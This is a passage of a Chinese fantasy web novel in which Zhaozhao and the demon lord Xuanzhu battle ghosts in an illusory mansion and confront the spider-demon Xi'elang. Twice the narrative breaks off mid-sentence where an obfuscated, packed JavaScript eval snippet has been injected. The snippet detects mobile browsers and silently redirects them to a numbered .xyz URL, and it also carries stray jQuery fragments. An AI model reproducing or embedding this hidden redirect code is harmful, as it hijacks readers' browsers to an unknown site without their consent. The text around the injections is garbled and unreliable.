半晌她才想起,玄烛使用的冥火中总是有丝丝黑气缭绕,那黑气与这阴灵化作的黑雾很是相像。 她脑中灵光一现,自言自语道:“难道它们身上有混沌之力?” “没错,刚踏入此地时,我便察觉到此地的气与混沌之力十分相像,但这不是混沌之力,不过只要相像,那能荡尽世间一切邪气的琉璃净火,便是他们的克星。”玄烛慢步走到朝朝身边。 她连忙站起身,抓住重点问道:“你怎么确定那气不是混沌之力?难不成这混沌之力只有你会用?” 玄烛没理会她的问题,而是继续观察着四周。 他说道:“现在,该找找陀罗尼经的最后一页了。” “放心,那东西的位置,我心里有数。”朝朝拍了拍身上的灰尘,胸有成竹地说道。 玄烛看向她:“说。” 朝朝并没有直接回答,而是神秘兮兮地说了句:“下为上,左为右,空即满,有则无。” 玄烛默声略微沉思后,明了了她说这句话的用意:“陀罗尼经原本在佛堂左侧最上面的架子,下为上,左为右,那消失的最后一页,应该就在此处佛堂右侧最下一层的架子上。” “天魔大人果然聪明。”朝朝夸了句,而后笑着拉住玄烛的袖口说:“我们快些去拿那最后一页,然后破了这幻境离开吧。” 她刚要拉着玄烛朝佛堂的方向跑去,玄烛却反手拉住了她。 朝朝转头看向玄烛时,听到了他冷沉的声音。 “它们可不会让你轻易拿到那东西。” 它们? 朝朝不解地看着他,不等她发问,院子里又响起了可怖的笑声。 “咯咯咯……是我的……” “她是我的……我一定会得到她,咯咯咯……” “朝朝,你逃不掉的。” 无数个声音在院中环绕,有男有女,有老有少,宛若魔音穿脑,令人头晕目眩。 朝朝难受地捂住耳朵,艰难地说道:“看来这变.态东西还有很多……不对啊,既然我的琉璃净火能伤到他们,他们不是应该怕我吗?可为何它们会……如此地‘喜爱’我?” “阴与阳本就相生相克,所以他们怕你的同时,也会被你的至阳之火吸引。” 玄烛解释完,幽沉的眸子锁定一个方向,然后猛地一抬手,一团黑雾迅速自他掌中飞出。 没一会儿黑雾飞去的方向便响起无数尖叫,而朝朝耳边的魔音则减弱几分,她这才能放下双手,神情严肃地环顾四周。 紧接着树后、房顶上都出现无数黑影,各个屋内也有数不清的黑影攒动。 几乎是在眨眼间,周遭便布满了可怖的阴灵,密密麻麻地连成一片,将二人围得密不透风。 他们。 难道这些阴灵,就是昨夜桑婉所说的他们? 朝朝环视四周,说道:“桑宅上下也就四十多口人,但这里的阴灵看起来已有几百个了,多出的这些是从哪儿来的?” “应该都是过去死于希恶郎手下的人。”玄烛也冷眼扫视着众阴灵,沉声回道。 朝朝鼻尖轻嗅两下,忽然意识到了不对劲:“等一下!这里都有几百个阴灵了,如此多的阴灵,为何我却感觉不到半点邪气?它们简直和常人无异!” 见她终于察觉到这点,玄烛冷哼一声:“你总算意识到了,这就是十恶境为了困住你我所制造的麻烦,无法感受邪气,也就无法判断此处到底有多少阴灵。” 无法判断到底有多少阴灵,也就是说,此地的阴灵很有可能不止眼前的这些。 面对如此庞大的数量,朝朝真的紧张起来了。 她正要开口询问玄烛如何是好,一团黑雾竟缓慢地在二人身前聚起,最终形成一个人形的影子立于他们面前。 那人影一边咯咯笑,一边吐出怨愤的话:“咯咯咯……为什么要伤我……为什么不愿意成为我的身体……” 这家伙的声音,分明和刚刚被朝朝烧焦的那个阴灵一样。 “它……怎么回事?它不是刚才被我用火消灭的那个阴灵吗?!”朝朝惊讶地问道。 玄烛有些漫不经心地回答她:“既然它们同混沌之力相像,那也定同混沌之力一样,能被琉璃净火压制,却无法彻底被消灭,只需一定时间,它们便会重新积累起邪气,恢复原样。” “那岂不是和我一样,不死不伤,这可麻烦了。”朝朝喃喃道。 她的话音刚落,便有阴灵蓦然对着她吐出一大口黑色浓雾。 黑雾来势凶猛,朝朝还没来得及抬脚去躲,黑雾就已经到了她眼前。 一双修长的手在此时从旁插进朝朝与黑雾之间,从容不迫地翻掌,将黑雾尽数拢入掌中收起。 朝朝拍着受到惊吓的心脏,很是感激地看向出手帮了自己的玄烛:“多谢天魔大人出手。” “听好了,你与它们相生相克,你能伤到它们,它们同样能伤到你,你虽无法死亡,但它们对你造成的伤会令你很虚弱,这就是昨夜你的伤口难以愈合的原因。” 玄烛沉声说着,随后阴冷地斜了她一眼:“你若受了伤,我定会抛下你,以免受你连累。” 朝朝俏皮地笑起来,两步挪到玄烛身边,一把搂住他的右臂:“诶,天魔大人就喜欢吓唬我,你刚才动动手就能解了它那招式,我还需怕什么啊。” 待她说完,玄烛又冷哼一声:“我是可以以自己的身体为容器,把它们的术法纳入体内。” 朝朝连忙说道:“那你快点把它们全都收到你体内吧!” 玄烛冷冷回道:“不,我不想。” 听完此话,朝朝僵硬地劝说他:“别这样,天魔大人,我的法力有限,你让我用火对付几十个还行,但对付成百上千个……我肯定不行啊!!这事还需你我合力……” “好啊,合力。”玄烛打断了她的话,面无表情地看向她,拖着缓慢又刻薄的语调说道:“既然它们想要的是你,不是我,你就负责在这里拖住它们,陀罗尼经的最后一页,便由我去拿。” 说着,他在朝朝眼前倏然化作一只猎鹰,煽动着翅膀迅速地飞走。 “你,你!”朝朝着急地想要抓住他,奈何手慢了一步,只抓下来玄烛一片尾羽,就眼睁睁地看着他越飞越远。 “玄烛!你混蛋!!”朝朝抓着他的羽毛,站在原地被气得抓狂。 听着身后朝朝气急地喊声,玄烛难得有了开心的感觉。 开心? 对,这应该就叫做开心。 和之前想要破坏时的快.感不同,现在的他觉得朝朝很好笑,很有意思,这种想笑的感觉令他满足,不像之前,愉悦之后,尽是虚无的感觉。 这感觉很奇怪。 或许他应该像厌恶朝朝那般,一并厌恶这种感觉。 想着,他压下心底的那一点开心,加快飞去了佛堂。 此时被留在原地的朝朝,已经收回看着玄烛离去的视线,神情严肃地扫视着周围的阴灵。 数量如此多的阴灵,的确很不好对付,若真能拖住这些阴灵,给玄烛争取拿东西的时间,未尝不是一个好主意。 她思忖时,余光瞥见围在最外圈的阴灵意图转身去追飞走的玄烛。 见状,她连忙出声大喊:“你们不是想要我的身体吗?好啊!我可以把自己交给你们!” 闻言,那些欲去追玄烛的阴灵,再次将注意力放到了朝朝身上。 众阴灵渐渐向她围过来。 看着阴灵越来越近,朝朝挤出一个有些尴尬的笑:“我确实可以把自己交给你们,但我的身体只有一个,你们数量这么多,我的身体到底要给谁用啊?不如咱们先坐下来好好商量商量此事?” “此事你不必担心……咯咯咯,我们自会商量。”一个年迈的声音飘过来,也不知是哪个阴灵说的。 见此计无用,朝朝急忙又想了个计策:“对了,远表哥和洵表哥的阴灵在哪儿呢?我有话想和他们说!” 右边的一个阴灵诡异地转动着头颅,笑着说道:“咯咯咯……他们不在这里。” 朝朝又问道:“那婉表姐呢?舅父舅母总该在这里吧?” 那个被火烧过的阴灵已经走到朝朝面前,一边将左手伸向她,一边说道:“不,咯咯咯,他们还没有死,所以都不在这里……咯咯咯,只有真正死去的人才能来这里。” 朝朝微怔。 桑家人还没有真正地死去?这是怎么回事? 他们没死,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966632|161273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是阴灵,那昨夜为何要杀她?为何和这些阴灵一样念叨着她是他们的? 朝朝发怔时,阴灵的手已经伸到了她眼前。 在看清那阴灵左手上的六根手指的瞬间,她猛然理清思绪。 无数巨大的火花在朝朝周身炸开,离她最近一圈的阴灵在火花中顿时化作黑雾消散。 一道刺眼的光亮从火花中飞出,在众阴灵的上方悬停,待光亮缓缓熄灭,朝朝的身形才从中显现。 她眉间现出金色的火焰纹样,隐隐流溢着光辉,左手握着一柄火焰凝化的长剑,神冷目肃地睨视着下方的阴灵。 “桑宅之人之所以时而和善时而行为古怪,其实是被你们附身了,对不对?”她沉声问道。 下方只传来阴灵们十分令人不舒服的笑声,并没有回答的声音。 它们不回答,但朝朝心里已有答案,于是自己往下说道:“桑宅之人不是还活着,只是还没死,希恶郎可通过达成他人心愿,来诱引他人作恶,如果我没猜错,桑宅中有人和希恶郎达成了交易,希恶郎用术法维持桑宅之人不死,而桑宅之人则要将身体借给你们,方便你们在那个桑宅中作恶,而被你们附身时的人,左手都会和你们的左手一样,生有六指!” 她话音刚落,其中一个阴灵忍不住发出声音:“不愧是朝朝,咯咯咯,真聪明……” 旁边的阴灵连忙捂住了那个阴灵的嘴。 朝朝看着它们,确认了心中的答案。 “虽然你们也曾是被希恶郎所害的可怜人,但如今你们已被希恶郎的力量操纵,所持执念皆不是自己的,而是希恶郎的,所以,除掉你们,才是为了你们好。”她放轻声音说道。 可听完她这话,阴灵们笑得更加癫狂。 “除掉……哈哈哈,如何除掉……” “哈哈哈,希恶郎大人不灭,我们便永不消散……” “凭你,是没有办法除掉我们的,哈哈哈……” 在它们的笑声中,朝朝随手挽了个剑花:“的确,以我的法力定然无法除掉你们,我留在这里本来也不是为了这件事。” “而是,困住你们。” 最后一个字落下,她提剑旋身,无数流火自剑尖甩出,精准地落在了最外一圈的阴灵身后,落地的瞬间火焰猛然高涨成小山,等阴灵们回过神时,炙热的火山已经连成一圈,将它们困在其中。 朝朝轻身落于地面,收起手中火焰长剑,看着站在火圈中迟迟不敢迈出的阴灵。 她有些骄傲地笑笑:“既然说了除不掉你们,我怎么可能还会傻到在除掉你们这件事上浪费力气,我的法力虽有限,但这用琉璃净火做的火圈,还是能困住你们一时的。” “再会啦!”她调皮地对着阴灵们挥了挥手,而后转身对着佛堂的方向轻挑眉梢,合拢双掌搓了搓:“天魔大人,我来啦!” 她拔腿向前跑去,快要跑出北院时,又隐隐听到阵阵女子的哭泣声。 “谁……谁来救救我……” 朝朝倏地停住脚步。 这声音……好像是商枝的! 她急忙四下寻找起声音的来源,等确定了方向,她才朝声音跑去。 那声音在一间柴房内,朝朝一脚踹开门,刚好看见几个阴灵在不断接近蹲在角落惊恐哭泣的女子。 哭泣的女子正是商枝。 朝朝连忙双手结印,释放出几团火球重重打在那几个阴灵身上。 阴灵消散后,她跑到商枝身前蹲下,担忧地开口:“商枝,你怎么在这里?” 听到朝朝的声音,商枝这才抬起已经哭花的脸。 “小姐?” 她的声音里满是犹疑,直到看见朝朝对她温柔一笑,她才敢确认眼前的人不是幻觉,哇地一声大哭出来,直接扑进朝朝怀中。 “小姐!这里全是可怕的东西,我好害怕啊!我们离开桑家好不好?”商枝哭得就像个孩子。 朝朝温柔地揉了揉她的头,轻声说道:“好,我一定会让你离开桑家的,不过你要告诉我,你怎么会在这里?” 商枝抽泣着回道:“我去找南星,天葵和我说她去了西院废园,我便同她一起去了那里,结果、结果她就把推入废园内的那口井中!我昏了一会儿,等再睁开眼时,就发现自己在这可怕的地方了。” 说着,商枝直起身子,眼睛红肿地给她道起歉:“对不起,小姐,都是我的错,都怪我没听你的话,去了那废园……” 朝朝深知被阴灵附身的桑家人有多能花言巧语,真假参半,让人难辨真伪,昨夜自己也中过招,商枝会被骗实属正常,没什么好责怪的。 她拍了拍商枝的后背以示安抚:“没事的,我现在就带你离开这里!” 说完,她拉起商枝跑出柴房。 “小姐,我们现在去哪里啊?”商枝一边跟着她跑,一边问道。 “去佛堂找人!”朝朝回道。 商枝:“什么人?” 朝朝:“一个满肚子坏水,黑心黑肺黑肠子的大恶人!” 这话给商枝听得稀里糊涂。 而此时站在佛堂中的玄烛,忽地感到鼻尖一阵发痒。 他并没有将此事放在心上,神色冷然地转眸看起四周。 这个佛堂内积满了灰尘,角落里挂的也全是蜘蛛网,供桌之上并没有摆希恶郎的神像,想来应该不用遵守什么佛像睁眼闭眼的规则了。 他的视线停在右侧的灯架子上,几步走过去,在最下面那层找到了消失的最后一页。 玄烛扫了一眼上面的字,神情却显得有些凝重。 太顺利了。 这里可是十恶境,怎么会让他如此顺利的找到破境之法? “咯咯咯……你们……休想离开……” 阵阵不怀好意的笑声从角落中传出。 下一瞬,数道黑影蹿出,齐齐攻向玄烛。 他冷漠地抬眼,在那几个阴灵触到自己前,他脚尖踮地,轻巧地跳离地面避开了攻击,还随手抓了其中一只阴灵。 落地后他将手中阴灵放到唇边,神色淡然地张嘴咬下一口。 看着他手中的阴灵痛苦地挣扎,却无法挣脱,只能一点一点被他吃掉,另外几只阴灵被吓傻在原地。 待吃干净了手中的阴灵,玄烛转动漆黑的眸子,舌尖意犹未尽地舔了舔唇瓣,唇角露出一抹恶意满满地笑。 “你们不是想要身体吗?来啊,到我肚子里,成为我身体的一部分啊。” 他的笑意越来越深,却没有半点温度。 原本还在咯咯笑的阴灵突然都没了声音。 它们好像遇到了。 真正的疯子。 17. 千阴宅 意识到玄烛不好对付,佛堂的角落中现身出更多的阴灵将他围住。 玄烛神色有些散漫地看着周围的阴灵,似乎并不急着收拾掉它们。 几只潜在地下的阴灵,悄无声息地融入到他脚下的影子中,小心翼翼地盯着他的一举一动,打算趁其不备偷袭之。 见玄烛并没有注意脚下,还以为是他掉以轻心了,几只阴灵暗暗一笑,随后猛地从地下跳出,一起攻向足以令玄烛致命的位置。 同一瞬间,数团火球从佛堂外倏然飞入,以迅雷不及掩耳之势纷纷击中玄烛周身的阴灵,一个都没落下。 玄烛面无表情地侧目,幽沉的视线穿过阴灵消散时产生的黑雾。 有两个身影正逆光站在佛堂门口。 “天魔大人,看见我来救你,感动吗?”朝朝笑着问道,对他挥了挥手,眸中还盛着得意。 玄烛在心里暗骂了句蠢货。 这些阴灵的味道不怎么好,而他早就知道朝朝就在佛堂之外,所以他才没有出手,只是等着朝朝用琉璃净火收拾阴灵。 不过他不屑和朝朝解释这些,只是冷冷回道:“不感动。” 闻言,朝朝仰面大笑两声,随后大义凛然地对玄烛说道:“不敢动你就站在那里别动,我过去背你!” 玄烛:“……” 朝朝牵着商枝的手走到玄烛面前,看着玄烛冷到快要结冰的脸也不敢再开玩笑,只能正经地问道:“最后一页找到了吗?” 但玄烛并没有回答她,而是眸色幽幽地看着她身旁的商枝。 “她怎么在这里?”玄烛问道。 朝朝开口解释道:“哦,她犯了纸条四的禁忌,去了西院废园,被天葵推入井中后就来了这里。” 在朝朝说话的时候,商枝抬眼向玄烛,正好和玄烛的视线对上。 那双眼睛宛若深渊,盯得商枝浑身发毛。 她连忙瑟缩在朝朝身后,弱声问道:“小姐,他就是你说的那个黑心黑肺黑肠子的大恶人吗?” 听完这话,玄烛把深渊一般的视线移到了朝朝身上。 见状,朝朝把身后的商枝用力揪过来,捂住她的嘴后卖乖地笑道:“这孩子刚才被吓到了,耳朵都被吓得不灵光了,我明明说你是英俊潇洒天下无敌的大英雄呢!” 玄烛的面上并没有什么变化,还是冷冰冰地,只是微微俯身与朝朝平视,语气凉凉地开口。 “下次夸我时,最好当着我的面。” 朝朝忙不迭地用力点头答应。 等玄烛站直身子,朝朝才放开商枝,垂眸看向玄烛手中捏着的最后一页,伸手就要拿过来看看:“快给我看看收拾希恶郎的法子。” 她的手还没碰到那页纸,玄烛就侧身躲了过去。 “天魔大人这是什么意思?”朝朝不解地看着玄烛,紧接着她皱起眉头:“莫不是你不打算让我看那法子,还想着甩开我呢?天魔大人的心是石头做的吧!你三番四次地骗我害我,我都不同你计较,只想着与你同心协力破解幻境,你就不能也对我好点吗?” 等她说完,玄烛凉凉吐出一句:“你的心才是石头。” “你!”朝朝一阵语塞。 看她回不了这话的模样,玄烛满意地弯了弯唇角,随后放慢声音说道:“放心,除掉希恶郎用得上你,所以我会把方法告诉你,但不是现在。” 朝朝:“为何现在不行?!” “因为现在不是时候。” 他颇为神秘的说完后,轻抖手中那页纸,蓝色的火焰顿时燃起。 “等,等一下!” 朝朝慌忙扑过去,想要救下那页纸,可眨眼间纸就化为灰烬。 看着缓缓飘落在地的灰烬,她彻底泄了全身的力气,在玄烛身前弓着身子垂着脑袋,活像个霜打的茄子。 “小姐,你没事吧?”商枝满脸担忧地扶住她。 朝朝蔫蔫地摇了摇头:“没事,我只是,有点心累。” 商枝虽然没怎么听懂朝朝和男人之间的对话,但她知道,朝朝会如此心累,都是这个男人害的。 想着,她不悦地看向玄烛。 玄烛感觉到了她的视线,但未做理会,而是沉声说道:“现在该离开这里了。” 朝朝心想,事已至此,只能随机应变了。 她打起精神,对玄烛说道:“我只知道来这里的方法,却不知道要如何离开,不如我们先回来时的那个院子,兴许能从那里来,就能从那里离开呢。” “你觉得,离开此地的方法会如此简单吗?”玄烛问她 朝朝不由得噘起嘴反问他:“那你有什么好主意吗?” “小姐,我……我可能知道离开的方法。”商枝突然怯生生地开口。 朝朝向她看去:“什么方法?” 商枝揪着衣摆,有些紧张地说道:“就是废园里的那口枯井,既然我是掉进井里来到这里的,那我们在跳进井里,会不会就能回去了?” 朝朝摸着下巴思忖一阵,刚想开口说些什么时,玄烛却沉声开口:“好,就去废园。” 朝朝面露不解:“商枝这离开的方法,和我说的那个没区别啊,都是反推,怎么你就否了我的法子?” “因为她比你可靠。”玄烛留下这么一句后,抬脚朝门口走去。 朝朝看着玄烛的背影,委屈地撇了撇嘴。 商枝贴到她身边,挽住她手臂轻声道:“小姐,我们也走吧。” 朝朝叹气点了点头。 她现在也只能走一步看一步,凡事往好处想,没准这离开的法子真能被商枝蒙对呢。 于是二人跟上玄烛的步伐前往废园。 因为此地与桑家一切相反的原因,他们并没有向西去,而是选择走向东侧。 越往东走,周遭的景象便越发破败,有好几处房屋都塌了墙壁,树木也都烂了根。 看着周遭的变化,朝朝心底的疑虑也越渐加深。 走了良久,三人终于发现废园的月洞门。 看见废园,商枝以为他们终于能离开了,欣喜地看了朝朝一眼后,她便松开朝朝的手,最先跑了进去。 玄烛一路上只字未言,看到商枝进去后,他也跟了进去。 朝朝却站在月洞门前,迟疑了片刻才迈入废园。 等看到废园内的景象后,商枝的欣喜渐渐淡去,转而变为了惶恐。 她转身看着废园内空荡荡的荒地,喃喃道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966633|161273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 井呢?那口井呢?” 这园子里,除了角落有一口干净的大水缸,再无其他。 玄烛站在不远处默声环顾园内,朝朝则慢步走到他身边低声开口。 “天魔大人不觉得很奇怪吗?之前有那么多的阴灵攻击我们,可自从我们说要来废园后,就没有再看到过一个阴灵了。” 玄烛并没有应朝朝的话,而是看向了商枝。 不知为什么,商枝僵在了园子中央,目光停在某处,眸中隐隐涌动起恐惧。 玄烛沉声发问:“你在看什么?” 商枝回过神看向玄烛,唇瓣却还轻颤着,半晌才结巴地回答:“没、没什么。” 朝朝也注意到商枝的恐惧,视线在院子里扫了一圈,但并没有看到什么能吓到商枝的可怕东西。 玄烛略微思忖,片刻后他顺着商枝刚刚的视线看去。 她刚才看的是角落的那个水缸。 玄烛抬脚不急不缓地走向水缸,待走到水缸旁,他低头朝水缸内看去。 然后他又面无表情地将视线移向商枝,之后便没了动作。 见玄烛一动不动地盯着商枝,朝朝不由得皱起眉头。 “天魔大人?”她试探地唤了一声。 玄烛还是没有移开视线,也没有回应。 朝朝按耐不住好奇,也抬脚走过去。 她快步走到水缸旁,低头看去,眸色一阵颤抖后,同玄烛一样,缓缓将视线移向商枝。 看着朝朝也开始一动不动地盯着自己看,商枝心底的恐惧越发剧烈。 为什么要看她? 水缸里到底有什么? 她不想看那个水缸,那个水缸里一定有很可怕的东西。 她很害怕,她想要马上逃离这里。 等等,她为什么要害怕? 商枝恐惧地看着朝朝和玄烛。 半晌,她才看到朝朝缓缓张开唇瓣,吐出轻飘飘还带着悲伤的声音。 “商枝,你是不是忘了什么事情?” 忘了什么事情? 她忘了什么事情吗? 她应该回想起那件事吗? 商枝的脸色越来越苍白,她看了眼朝朝的脸,又看了眼玄烛的脸,最终她看向那口她十分害怕的水缸。 她慢慢抬起沉重的腿,艰难地一步一步走过去。 每一步,都是在前往她心底最深处的噩梦。 她停在水缸前,缓缓低头向里面看去。 水缸里装满了清水,水下,是一张被泡得变形的脸。 那张脸商枝很熟悉。 破败的桑宅,腐烂的树干。 无数怪笑的黑影。 她惊恐地向前跑着,但无论如何都无法摆脱那些黑影。 最后她选择藏入装满水的水缸躲避危险。 那些东西一直在找她,于是她躲了很久,很久…… 到底有多久,她都记不清了。 那噩梦般的一幕幕在眼前浮现,商枝踉跄地向后退了几步。 “对,对啊,我都忘记了……” 她对着朝朝弯唇挤出一个僵硬的微笑,泪水也从眼眶中掉落下来。 “我已经死了啊。” 18. 千阴宅 “我死了……对!我已经死了!都怪它们一直围在水缸旁不肯离开,我太害怕了,不敢出去,结果就溺死在水缸中……我怎么能把这么重要的事忘记呢…….” 商枝一边笑,一边哭,面容扭曲地诉说着死前的事情。 看着商枝逐渐崩溃的样子,朝朝的心里也越发难受。 因为无法对阴灵作出判断,所以直到看见商枝的尸体前,她都没能发现商枝早已遇害。 如果昨夜她坚持去找商枝,是不是就可以救下商枝了? 在这个幻境中,商枝是跟随她到桑家的无辜之人,她与那些邪祟阴灵毫无关系,若不来桑家,她本可以免遭这一劫,既然是随她来的,她本应负责保护她的。 这,都是她的错。 “蠢货。” 玄烛低沉的声音在朝朝耳边响起。 她倏然回过神,转头看向玄烛。 “这里是幻境,她也不是什么活生生的存在,死了就死了,无需在意。”玄烛语气凉薄地说道:“而且害死她的是希恶郎,不是你。” 朝朝怔怔看着他,良久,她微弯唇角:“天魔大人说得对,我们必须除掉希恶郎。” 玄烛淡漠地瞥了她一眼。 虽然朝朝在笑,但她眼里装的还是难过。 他在心底轻蔑地想着,这种小事就能让朝朝受到打击,看来要想践踏她那愚蠢的开朗,也不是件什么难事。 “不过,天魔大人早就发现她是阴灵了?”朝朝嘴上问着,眸色却严肃地移回到商枝的阴灵身上,“你会听她的建议,也是想让她凭着本能找到自己的尸身?” 朝朝话音刚落,玄烛就冷哼一声:“我可没有那么好心。” 他说话时,脚下缓缓燃起蓝色火焰。 “你知道这里的阴灵左手为何会有六指吗?”他问道。 朝朝摇头道:“不知道。” 玄烛:“但凡是邪术皆会留下痕迹,六指便是希恶郎用邪术操纵它们后留下的痕迹,可你眼前的这个阴灵,没有六指。” 听完此话,朝朝也猛然意识到,商枝变成了阴灵,但为何她同其他阴灵不一样,左手并没有六指? 似是知晓了朝朝的疑惑,玄烛开口解答:“因为她很特殊,她不是在被邪术操纵,而是……” 随着玄烛的话音越来越沉,他脚下的冥火也猛然涨高,火势凶猛地扑向商枝。 看着杀气腾腾扑过来的火海,商枝面露恐惧,下意识紧紧闭上双眼。 但冥火并没有攻击她,而是在到达她面前后,猛然调转方向,朝她脚下攻去。 一瞬间,园子里变得无比寂静。 但也只有一瞬,转瞬地面就开始隐隐震动。 玄烛这才将之前未说完的话说完。 “是希恶郎在用自己的手操纵她。” 最后一个字落下时,商枝脚下的地面轰然碎裂,浓郁的黑雾从地下溢出,一颗长着蜘蛛脸的巨大人头,从下方缓缓探出。 身形无比巨大的希恶郎从地下笨拙地爬出,商枝的阴灵则挂在它的食指上,随着希恶郎站起身,渺小的商枝被他用指尖捏着,身体在半空中晃晃荡荡,摇摇欲坠,她只能惊恐地尖叫挣扎,却根本无法逃脱。 “商枝!”朝朝担忧地喊道,身体下意识想要冲去救商枝。 玄烛却突然抬起手掌,拦在她眼前:“不许救她。” 朝朝看着眼前的手一怔,然后皱起了眉头。 此时希恶郎扯着沙哑的声音开口。 “有意思,你们两个都很有意思,一个至阳之火,不死之身,另一个被我用法术封了五觉,可还是识破了我的真身藏于何处,而且使用的术法也同我十分相似,想来你们二人应该都不是寻常人吧?” 朝朝没有回答他,一把推开玄烛挡在她眼前的手,气愤地在手中化出火焰长剑,对着希恶郎怒喊道:“放下商枝!” 希恶郎转动六只眼睛看向右手上尖叫着的商枝,片刻后它缓慢地蹲下,看向在它面前只有虫子一般大小的朝朝和玄烛,语气蛊惑地说道:“不如我们做个交易吧,你们帮我杀人,我来实现你们的愿望。” 朝朝想也不想地便回道:“做梦!我本就是不死之身,你休想蛊惑我!” 她刚说完,希恶郎就放声笑起来。 “哈哈哈,小姑娘,我能实现的愿望可不止不死这一件,贪财,我便能给你金银,好色,我就让你坐拥天下美男,爱权,我亦可以助你登上皇位,刚刚你不是很担心我手上这个阴灵吗?你要是帮我做事,让我复活她也未尝不可。” “我才不会与你这邪祟为伍!”朝朝咬牙说完,倏然跃至希恶郎左侧的一只眼前,提剑就刺了进去。 剑尖都到了眼前,希恶郎却连挡都未挡。 剑直接刺中眼珠,可这眼珠坚硬无比,未刺透半分。 这剑可是琉璃净火所化,朝朝还以为可以刺瞎希恶郎一只眼睛呢。 她诧异地喃喃道:“怎么回事?” “以你的法力还对付不了它。”玄烛忽然沉声开口。 希恶郎抬起手臂,一巴掌将朝朝拍回地面死死压住,然后附和着玄烛的话说道:“对对对,小姑娘还是太年轻,冲动了,我都活了千年,岂会被你这蜡烛般的小火苗伤到。” 说着,它又伸长脖子到玄烛面前:“倒是你,你似乎有封印我的能耐,不过我能看见,你的身体里已经封印了一股可怕的力量,再装不下我了……” 话至此处,希恶郎顿了顿声音,六只眼睛上下打量一番玄烛,随后再次开口:“你好像很讨厌这个拥有不死之身的小姑娘,都不肯把陀罗尼经的最后一页给她看,难道是想在除掉我前,借我之力除掉她?不如我们做个交易,我帮你除掉她,你替我把镇上的人都杀死,你看如何?” 玄烛冷着脸不作回应。 希恶郎便继续慢声细语地引诱着玄烛同它做交易:“放心,你杀死他们后,我会再将他们复活,他们就和活着时没什么两样,我只是偶尔借用一下他们的身体,同我交易,没人会有损失,这多好啊。” 待希恶郎说完,玄烛冷眼看向被希恶郎压在地上起不得身的朝朝。 片刻后,他阴冷地吐出两个字。 “好啊。” 希恶郎:“你应下了?” 玄烛慢声回道:“她对我来说是个大麻烦,而且我也很喜欢杀人,无论怎么想,你这个交易对我来说,都不吃亏。” 听完这话,希恶郎又大笑起来:“好!哈哈哈!很好!看来你我才是志同道合之辈,我现在就帮你除掉她,这小姑娘虽死不了,但我的术法能让她变虚弱,到时我将她囚禁在此地的地窖中,每日都让阴灵折磨她,就算不死,也能保证她永远无法再出现在你眼前。” 玄烛对他话很满意,噙起一抹笑意回道:“好啊,那就请你现在动手吧。” “好好好!我这就动手!”希恶郎欣喜地答应着,垂眸看向还被它压在五指下的朝朝。 然而,它的掌下已空无一人。 希恶郎的六只眼一齐瞪大:“那家伙呢?!” “与其关心那家伙,你还是先关心关心自己吧。”玄烛沉声道。 话音一落,无数道冥火打造的锁链自地下冲出,紧紧缠绕住希恶郎压在地面上的手,而后宛如游蛇般,顺着希恶郎粗壮的手臂迅速攀爬而上。 希恶郎想要拔出手臂,却已经被锁链紧紧固定在地面,用力挣了两下,但没能拔出半分,换来的只有疼痛。 它恼火地问道:“你想做什么?!” 听到这问话,玄烛皱起眉头,用看傻子的视线看着它:“做什么?自然是要除掉你。” 闻言,希恶郎下意识抬头看去。 就在它抬起头瞬间,一个巨大的盆形金红火焰自它头顶上方倒扣下,正正好好将希恶郎扣入其中。 炙热的火焰包裹着希恶郎,疯狂的火舌舔过它身体的每一寸,所经之地,皮焦肉烂。 希恶郎拔不出一只手,便甩掉另一只手上的商枝,本能地捂住了自己的肚脐上方。 “脐上一寸。” 朝朝俏皮的声音传入希恶郎的耳中,它震惊地抬起视线。 围在周身的火焰渐渐熄灭,它看到朝朝站在半空中,左手揽着商枝的腰,右手则扒着眼皮对它做了个鬼脸。 “希恶郎,我看到了,你的死穴就在脐上一寸!”她朝希恶郎得意地一笑。 希恶郎不可置信地看着她:“不可能!我一直跟在你们身边!那家伙不是没给你看陀罗尼经的最后一页吗?你怎么会知道死穴的事?你们又是何时商量要对付我的?!” 朝朝挠了挠头。 这事说来……也不算话长。 把时间退回到希恶郎刚现身时,朝朝看到商枝在希恶郎手中很痛苦的样子,本想冲出去和希恶郎干一架,结果却被玄烛拦住。 玄烛的手掌拦在她眼前,掌心中慢慢浮现出用冥火组成的十六个字。 浴佛之金,降魔之力,毙命之穴,万邪皆诛。 看完这十六个字,朝朝立刻便明了,这就是陀罗尼经最后一页上的内容。 毙命之穴,指的就是希恶郎的死穴。 她不动声色地瞥了一眼身旁的玄烛。 虽然没有视线交汇,但她心下已经有些明白玄烛的用意了。 他们并不知道希恶郎的死穴在哪里,希恶郎也必定不会轻易暴露自己的死穴,玄烛给她看这十六字,就是让她想办法试出死穴的位置。 朝朝不明白玄烛法力高深为何不自己去试,不过此时纠结这个没有多大益处,她也只能相信玄烛自有用意。 想试出死穴不是件易事,希恶郎身形巨大,要在全身上下试一遍本就费力,更何况希恶郎不会乖乖站在那里让她去试死穴的。 要试的位置太多,且只有一次机会,所以朝朝必须用一招足以覆盖其全身的招式去攻击希恶郎。 这一招估摸着要搭上她的全部法力,并且她需要些准备的时间蓄起法力,在她准备好之前,绝对不能被希恶郎有所察觉。 于是从她硬着头皮提剑攻向希恶郎,再到被希恶郎压在掌下,她一直都在暗中积蓄法力,不过因为不能和玄烛开口商量此事,她不确定玄烛有没有猜出她的计划,这让她心里很忐忑。 